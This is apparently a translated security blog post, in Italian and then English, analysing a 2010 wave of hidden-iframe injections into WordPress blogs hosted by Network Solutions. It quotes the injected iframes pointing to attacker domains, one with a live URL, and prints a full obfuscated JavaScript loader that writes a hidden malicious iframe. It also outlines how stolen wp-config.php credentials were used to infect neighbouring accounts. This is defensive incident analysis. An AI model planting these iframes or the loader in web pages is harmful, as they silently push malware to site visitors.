Network Solutions e la vulnerabilità di WordPressNetwork Solutions and WordPress Security Flaw

Il post seguente è stato tradotto, previa autorizzazione, dal blog Unmask Parasites

Ho notato questo iframe nascosto hxxp://networkads .net/ grep/ il 7 aprile.

Subito hanno attirato la mia attenzione questi strani script “iframe_style” nei report di Unmask Parasites (ho anche pensato fosse un bug in Unmask Parasites, ma controllando il sito infetto ho trovato gli stessi script).

Tuttavia è stato un incidente isolato e non ho notato alcun pattern evidente. Due giorni dopo, quando ho notato l’ articolo di David (Sucuri Security) su questo argomento e il follow-up di Brian Krebs, ho deciso di dare un’occhiata più da vicino.

Quello che ho trovato è molto interessante e solleva alcune domande serie in merito alla sicurezza dei siti web sui server condivisi.

Un breve riassunto degli articoli di David e Brian

1.Numerosi blog con WordPress sono stati recentementi violati. Qualcuno ha iniettato l’iframe che inserisce il seguente contenuto dannoso dai server di networkads .net

<iframe style="display:none" height="0" width="1" src="hxxp://networkads .net/ grep/"></iframe>

2. L’injection è stata fatta tramite database di WordPress. Gli hacker hanno sostituito il valore dell’opzione siteurl del database wp_options (il prefisso della tabella può essere diverso nel vostro caso) con il codice iframe:

<iframe style=\"display:none\" height=\"0\" width=\" 1\" src=\"hxxp://networkads .net/ grep/\"></iframe>'

3. Questa modifica silente dei parametri siteurl, ha violato la maggior parte dei blog (sia visivamente che funzionalmente); in quanto ci sono molte dipendenze dal parametro siteurl in WordPress. Così i webmaster dovranno ripristinare manualmente il valore di questo parametro per l’URL del sito nei loro database MySql (che dovrebbe essere qualcosa del tipo: http://yoursite.com/blogroot).

4. Tutti i siti interessati sono ospitati da Network Solutions.

Le mie scoperte

Ricerche Google

La violazione spezza il codice html. Questa è una linea tipica del linguaggio html, interrotta da questa iframe injection:

<link rel="pingback" href=""><iframe style="display: none" height="0" width="1" src="hxxp://networkads .net/ grep/"></iframe>/xmlrpc.php" />

Poiché la maggior parte dei temi WordPress utilizza attivamente il parametro siteurl nella sezione dell’ html, questo codice spezzato li fa assomigliare a questo:

ciò permette di creare una query di ricerca di Google che restituirà i blog similmente violati. Per esempio: wp-content text/css media screen xmlrpc.php -pingback questa ricerca produce circa 5.000 risultati .

Molti puntano ai blog violati. Questi 5.000, naturalmente, includono pagine indicizzate più volte dagli stessi siti; ma ho potuto trovare facilmente più di 60 blog infetti nelle prime 10 pagine dei risultati della ricerca. ( Attenzione: molti blog sono ancora infetti al momento in cui scrivo.)

Soltanto Network Solutions

Tutti questi blog sono ospitati da Network Solutions. Non un solo sito infetto è al di fuori della loro rete. Ciò significa che questo particolare attacco è limitato ai server di Network Solutions.

Ip dei server

La maggior parte dei blog infetti ( 40 e più ) si trovano sul server con indirizzo IP: 205.178.145.65

Ho trovato anche blog infetti con le stesse modalità in più di 16 Ip di Network Solutions :

205.178.145.85 205.178.145.86 205.178.145.99 205.178.145.105 205.178.145.116 205.178.189.131 206.188.192.204 206.188.193.32 206.188.193.63 206.188.193.63 206.188.193.64 206.188.193.179 206.188.193.195 206.188.193.220 206.188.193.250 206.188.196.127 206.188.211.27

La violazione non riguarda solo il database

Questo attacco non solo inietta il codice iframe nel database WordPress, in alcuni siti gli hacker iniettano il codice iframe (leggermente modificato) direttamente nei file sui dischi.

<iframe frameborder="0" onload=' if (!this.src){ this.src="http://networkads.net/grep/"; this.height=0; this.width=0;} '></iframe>

I luoghi dell’injection suggeriscono che il codice non sia stato preso dal database.

Domini diversi

networkads .net non è stato l’unico nome di dominio usato da questo attacco. Prima gli hacker utilizzavano binglbalts .com e ora usano mainnetsoll .com/ .

Tre domini che puntano allo stesso server con indirizzo 64.50.165.169 (Lunar Pages), che sembra essere un server dedicato violato (o server virtuale dedicato), con diversi siti legittimi.

Secondo whois:

binglbalts .com creato il 1 aprile 2010
networkads .net creato il 4 aprile 2010
mainnetsoll .com creato il 10 aprile 2010

Contrariamente a questo breve storico, secondo il database di Google Safe Browsing, binglbalts. com e networkads.net hanno già modificato numerosi server su 3 network differenti.

Aggiornamento: script offuscato

Quando ho pubblicato questo articolo, ho verificato i siti compromessi ancora una volta e ho scoperto questo script offuscato su uno di loro:

e v a l(function(p, a, c, k, e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('h f(a,8,d){6 3=i m();3.l(3.k()+(d*n));6 5="; 5="+3.j();4.9=a+"="+8+5+"; "}6 c=4.9;b(c.v("g")==-1){4.o(\'<e w="0" y=\\\' b (!2.7){ 2.7="t://u.p/q/"; 2.r=0; 2.s=0;} \\\'></e>\');f("g","1",x)}',35,35,'||this|date|document|expires|var|src|value|cookie|name|if||hours|iframe|addCookie|seref|function|new|toGMTString|getTime|setTime|Date|3600000|write|com|grep|height|width|http|mainnetsoll|indexOf|frameborder|24|onload'.split('|'),0,{})) ;

Era subito dopo il tag <body>.

Questo script verifica la presenza di un cookie chiamato seref. Se tale cookie non è presente, inietta un iframe nascosto proveniente da hxxp://mainnetsoll.com/ e imposta questo cookie seref per un giorno.

Come si può vedere l’attacco evolve costantemente e questa volta il codice dannoso viene iniettato direttamente in un file di WordPress.

Altre violazioni

Sembra che questi ultimi iframe injection non sia la prima volta che vengano usati per attaccare i blog WordPress sui server di Network Solutions. I segni di altri attacchi sono ancora visibili.

Hidden links

Alcuni dei blog violati contengono centinaia di link spam, visibili solamente se si naviga disattivando JavaScript. Per qualche motivo, ogni link è racchiuso tra tag <noindex> e usa rel=”nofollow”nei parametri dei tag. Quindi qual è il suo uso, se non vien utilizzato da chi naviga sul web, né dai motori di ricerca?

I link sono seguiti da iframe nascosti di networkads.

alkoltashov.narod.ru

Ho trovato inoltre una dozzina di blog WordPress infetti che traggono gli hidden link da hxxp://alkoltashov.narod.ru/ sites.txt. I link dovrebbero mostrare <div> esternamente rispetto all’area visibile, ma a causa della configurazione dei server di Network Solutions, che non permette l’accesso ai file tramite url, questa injection fallisce restituendo l’errore seguente (anch’esso mostrato oltre l’area visibile ):

<div style="left: -2322px; position: absolute; top: -3433px"> Warning: readfile() : URL file-access is disabled in the server configuration in /data/path/to/the/user's/account/wordpress/wp-content/themes/themename/header.php on line 163 Warning: readfile(hxxp://alkoltashov .narod .ru/ sites.txt) : failed to open stream: no suitable wrapper could be found in /data/path/to/the/user's/account/wordpress/wp-content/themes/themename/header.php on line 163 </div>

Secondo la cache di Google, questa injection di link in remoto è avvenuta a gennaio.

Ed è limitata ai blog sui server di Network Solutions.

WebEasySearch. com

Alcuni dei blog violati, inoltre, reindirizzano i risultati dei motori di ricerca verso il sito webeasysearch .com.

Questo avviene solamente se non avete già visitato il blog violato (probabilmente vengono verificati i cookie di WP).

Questa violazione cifra la stringa della query del motore di ricerca e la passa a webeasysearch ( webeasysearch .com ), che la decifra e visualizza i propri risultati per la stessa query.

Scommetto che sia effettuato da qualche codice PHP iniettato nel file di WordPress.

Lo stile della violazione e la gamma dei siti colpiti, mi fanno pensare che tutte queste violazioni siano state realizzate dallo stesso hacker.

Conclusione

1. Gli hacker, decisamente, hanno come obiettivo i blog WordPress, ma dubito che sia stata sfruttata una qualsiasi vulnerabilità di WordPress. Altrimenti avremmo assistito ad altre violazioni simili non solo sui server di Network Solutions.

2. Allo stesso tempo però, sono interessati più di una dozzina di server di Network Solutions. Potrebbe esserci una falla di sicurezza (o una minima vulnerabilità ) sulla loro rete. Dovrebbero esaminare seriamente il problema.

3. Sono d’accordo con David di Sucuri Security, che pensa che tutto ciò possa essere eseguito tramite l’accesso ad un unico account compromesso (o anche creato legalmente da alcuni hacker). Gli hacker possono utilizzare questo account per eseguire script che leggono il contenuto dei file di wp-config.php su account neighbor (secondo una ricerca con reverse IP ci sono diverse migliaia di siti sul server con IP 205.178.145.65).

È abbastanza facile ( non svelerò i trucchi del perfetto hacker ma funzionano bene sui server di Network Solutions ) identificare i siti con blog WordPress su qualsiasi server e di conseguenza identificare i percorsi assoluti del file wp-config.php, che contengono i dati d’accesso al database e i nomi delle tabelle di WordPress, il tutto in chiaro. Gli hacker, successivamente, hanno semplicemente bisogno di eseguire un altro script che inietti quello che vogliono nei database dei loro neighbour server.

Allo stesso modo qualsiasi codice dannoso può essere iniettato in tutti i file scrivibili nell’account neighbor.

Vulnerabilità progettuale di WordPress

Sui server condivisi è possibile proteggere i propri file da neighbor dannosi, rendendoli di sola lettura. Solitamente i permessi sui file a 644 e sulle directory a 755 sono sufficienti.

Tuttavia se i neighbor, in qualche modo, riescono ad ottenere l’accesso, possono fare ciò che vogliono con il vostro database. Nel caso di WordPress, è sufficiente leggere il file wp-config.php nella root del blog WordPress.

Per nascondere il contenuto del file wp-config.php dai server neighbor, David (Sucury Security) consiglia che questo file debba avere 750 ( credo volesse dire 640 , in quanto il permesso di esecuzione non è necessario ). Purtroppo, questo funziona solo sui server con suPHP. Su altri server dove il server web esegue gli script PHP con propri diritti, questo stratagemma rischia di danneggiare completamente i blog WordPress. Ogni pagina restituirà l’errore Failed opening required ‘wp-config.php’” .

Questo significa che i blog di WordPress sono vulnerabili a questo tipo di attacco sulla maggior parte dei server condivisi . Basta violare un account (la maggior parte dei server condivisi hanno più account violati), o addirittura creare un account appositamente per l’hacking e sarà possibile guadagnare l’accesso al database MySQL dei vostri neighbor che abbiano un blog con WordPress. Qualsiasi altro web script che dipenda da un database e che memorizzi i dati d’accesso in chiaro, è anch’esso vulnerabile.

I ragazzi di WordPress sono consapevoli di questo problema sui server condivisi ma, per qualche motivo, danno anche questo strano consiglio sui permessi a 750 per wp-config.php, che è sbagliato (750 invece di 640) e funziona soltanto sui server suPHP :

Se siete su un server condiviso i permessi della directory wp-config.php dovrebbero essere a 750. Questo significa che nessun altro utente sarà in grado di leggere il nome utente e la password del vostro database. Se si dispone di FTP o accesso alla shell, procedere come segue:

chmod 750 wp-config.php

Quindi non c’è un modo universale per proteggere i dati d’accesso al database sui server condivisi. Vedo sempre più attacchi caratterizzati da un account compromesso su un server condiviso e successivamente utilizzato per violare altri siti sullo stesso server. È il momento di rivedere l’approccio utilizzato verso il file wp-config.php .

Dite la vostra

Cosa pensate del problema dei file wp-config.php universalmente leggibili sui server condivisi? Qualche idea su come risolverlo?

Se siete un cliente di Network Solutions ed il vostro sito è stato violato, mi piacerebbe sapere anche le vostre esperienze.
Potreste raccontarci quali permessi sui file utilizzate (soprattutto se siete stati vittime degli attacchi di alkoltashov .narod .ru and WebEasySearch ) ?

Altri commenti sono i benvenuti.

Post correlati:

Fonte: Network Solutions and WordPress Security Flaw

I first noticed this hidden iframe from hxxp://networkads .net/ grep/ on April 7.

It instantly drew my attention with these weird “iframe_style” scripts in Unmask Parasites reports (I even thought it was a bug in Unmask Parasites, but when I checked the infected site, I found those scripts there).

However it was a single incident and I didn’t see any obvious pattern back then. Two days later, when I noticed David’s (Sucuri Security) article about this very issue and the follow-up by Brian Krebs, I decided to take a closer look at it.

What I found is quite interesting and raises a few serious questions about security of websites on shared servers.

Quick recap of David’s and Brian’s articles

1.Many WordPress blogs on have been recently hacked. Someone has injected the following iframe that pushes malicious content from networkads .net server

<iframe style="display:none" height="0" width="1" src="hxxp://networkads .net/ grep/"></iframe>

2. The injection was done via WordPress database. Hackers replaced the value of the “siteulr” option in the “wp_options” database (table prefix may be different in you case) with the iframe code:

<iframe style=\"display:none\" height=\"0\" width=\" 1\" src=\"hxxp://networkads .net/ grep/\"></iframe>'

3. This dumb modification of the siteurl parameter breaks most blogs (both visually and functionally) since there are many dependencies on the the siteurl parameter in WordPress. So Webmasters need to manually revert the value of this parameter to the correct site URL in their MySql database (it should be something like: http://yousite.com/blogroot ).

4. All affected sites are hosted by Network Solutions.

My findings

Google search

The hack breaks HTML code. This is a typical line of HTML broken by this iframe injection:

<link rel="pingback" href=""><iframe style="display: none" height="0" width="1" src="hxxp://networkads .net/ grep/"></iframe>/xmlrpc.php" />

Since most WordPress themes actively use the siteurl parameter in the <head> section of HTML, this broken code makes them look like this:

which makes it possible to compose a Google search query that will return similarly hacked blogs. For example: wp-content text/css media screen xmlrpc.php -pingback – this search produces about 5,000 results. Many of them point to the hacked blogs. These 5,000 of course include multiple indexed pages from the same sites, but I still could easily find more than 60 infected blogs on the first 10 pages of search results. (Warning: many blogs are still infected at the moment of writing.)

Network Solutions only

All those blogs are hosted by Network Solution. Not a single infected site outside of their network. This means that this specific attack is limited to Network Solutions servers.

Server IPs

Most of the infected blogs (40+) are on the server with IP address: 205.178.145.65

I also found similarly infected blogs on 16 more Network Solutions’ IPs:

Not only a database hack

Not only does this attack inject the iframe code into WordPress database, on certain sites hackers also inject the iframe code (slightly modified) directly into file on disks.

<iframe frameborder="0" onload=' if (!this.src){ this.src="http://networkads.net/grep/"; this.height=0; this.width=0;} '></iframe>

The places of injection suggest that the code was not taken from database.

Other Domains

networkads .net is not the only domain name used by this attack. Before it, hackers used binglbalts .com/ grep/ and now they use mainnetsoll .com/ grep/.

This three domains point to the same server with IP address 64.50.165.169 (Lunar Pages) which seems to be a hacked dedicated (or virtual dedicated) server with several legitimate sites.

According to whois:

binglbalts .com – created on Apr 01, 2010
networkads .net – create on Apr 04, 2010
mainnetsoll .com – created on Apr 10 2010

Inspite of such a short history, according to Google Safe Browsing database, binglbalts. com and networkads.net have already changed several servers on 3 different networks.

Update: obfuscated script

When I published this article I checked the compromised sites once more and discovered this obfuscated script on one of them:

It was right after the <body> tag.

What this script does is checks if there is a cookie called “seref“. If there is no such a cookie, it injects a hidden iframe from hxxp://mainnetsoll .com/ grep/, and then sets this “seref “cookie for one day.

As you can see the attack constantly evolves, and this time the malicious code is directly injected into some WordPress file.

Other hacks

It looks like these latest iframe injections are not the first time when WordPress blogs on those Network Solutions servers are being attacked by hackers. I can still see signs of other attacks.

Hidden links

Some of the hacked sites contain hundreds of spammy links that can only be visible if you browse with disabled JavaScript. For some reason, every link is enclosed in <noindex> tags and use rel=”nofollow” in <a> tag’s parameters. So what’s the use if it is neither for normal web surfers nor for search engines?

The links are followed by the networkads hidden iframes.

alkoltashov.narod.ru

I also found a dozen of infected WordPress blogs that try to pull hidden spammy links from hxxp://alkoltashov .narod .ru/ sites.txt. The links are supposed to be displayed in a <div> located way outside of the visible area, but because the configuration of Network Solutions servers that disable URL file-access, those link injections fail with the following error (which is also displayed outside of the visible are ):

According to Google cache, this unsuccessful remote link injection happened back in January.

And it is also limited to blogs on Network Solutions servers.

WebEasySearch .com

Some of the hacked blog also redirect search engine results to webeasysearch .com site. And this only happens if you haven’t visited the hacked blogs before (must be checking WP cookies).

This hack encrypts the search engine’s query string, and then passes it to the webeasysearch .com site which decrypts it and displays it’s own search results for the same query.

I bet it is done by some PHP code injected into WordPress files.

The style of the hacks and the range of the affected sites make me think that all those hacks were done by the same hacker.

Conclusion

1. The hackers definitely target WordPress blogs, but I doubt any WordPress vulnerability was used. Otherwise we would see similarly hacked blogs not only on the Network Solutions servers.

2. At the same time more than a dozen of Network Solutions servers are affected. There might be a security hole (or a least flaw) on their network. They should seriously investigate this issue.

3. I agree with David from Sucuri Security who thinks this can be done via access to a single compromised (or even legally created by hackers) account. Hackers can use this account to execute scripts that read content of wp-config.php files on neighbor accounts (according to reverse IP lookup there are several thousand sites on the server with IP 205.178.145.65).

It is quite easy (I won’t give out the tricks to wanna be hackers here but they work well on Network Solutions servers) to identify sites with WordPress blogs on any server and then identify absolute paths to wp-config.php files that contain database credentials, and names of WordPress tables – all in plain text. Then hackers simply need to run another script that injects whatever they want into databases of their server neighbors.

Similarly, any malicious code can be injected into any writable files under neighbor accounts.

WordPress design flaw

On shared servers, you can protect your own files from malicious neighbors making them read-only. Usually 644 file permissions and 755 directory permissions do the trick.

However, if neighbors somehow get your database credentials, they can do whatever they want with your database. In case of WordPress, it’s enough to read the wp-config.php file in the root of a WordPress blog.

To hide the content of the wp-config.php file from server neighbors, David (Sucury Security) suggests that this file should have 750 permissions (I guess he meant 640 since the execution permission is not required). Unfortunately, this trick will only work on servers with suPHP. On other servers where web server executes PHP scripts with its own rights, this trick will complete break WordPress blogs. Every page will produce the “Failed opening required ‘wp-config.php’” error.

This means that WordPress blogs on most shared servers are vulnerable to this sort of attack. It merely takes to hack one account (most shared servers have multiple hacked accounts) or even to create a regular account specifically for hacking purpose and you can steal MySQL database credentials of your neighbors with WordPress blogs. Any other database driven web scripts that store database credentials in plain text are also vulnerable.

Guys from WordPress are aware of this problem on shared servers but for some reason they also give this strange advice about 750 permissions for wp-config.php that both incorrect (750 instead of 640) and will only work for suPHP server:

Note that if you are on a shared-server the permissions of your wp-config.php should be 750. It means that no other user will be able to read your database username and password. If you have FTP or shell access, do the following:

chmod 750 wp-config.php

So at this point, there is no universal way to protect your database credentials on shared servers. At the same time, I see more and more attacks where a compromise account on a shared server is used to hack other sites on the same server. It’s time to revisit the approach used in the wp-config.php file.

Have your say

What do you think about this issue with world-readable wp-config.php files on shared servers? Any thoughts on how to mitigate it?

If you are a Network Solutions client with a hacked site, I’d also want to hear about your experience. Could you tell us about file permissions you use (especially if you were hit by those alkoltashov .narod .ru and WebEasySearch attacks)?

Any other comments are also welcome.

Un breve riassunto degli articoli di David e Brian

Le mie scoperte

Ricerche Google

Soltanto Network Solutions

Ip dei server

La violazione non riguarda solo il database

Domini diversi

Aggiornamento: script offuscato

Altre violazioni

Hidden links

alkoltashov.narod.ru

WebEasySearch. com

Conclusione

Vulnerabilità progettuale di WordPress

Dite la vostra

Quick recap of David’s and Brian’s articles

My findings

Google search

Network Solutions only

Server IPs

Not only a database hack

Other Domains

Update: obfuscated script

Other hacks

Hidden links

alkoltashov.narod.ru

WebEasySearch .com

Conclusion

WordPress design flaw

Have your say

Articoli correlati

Lascia un commento Annulla risposta

You missed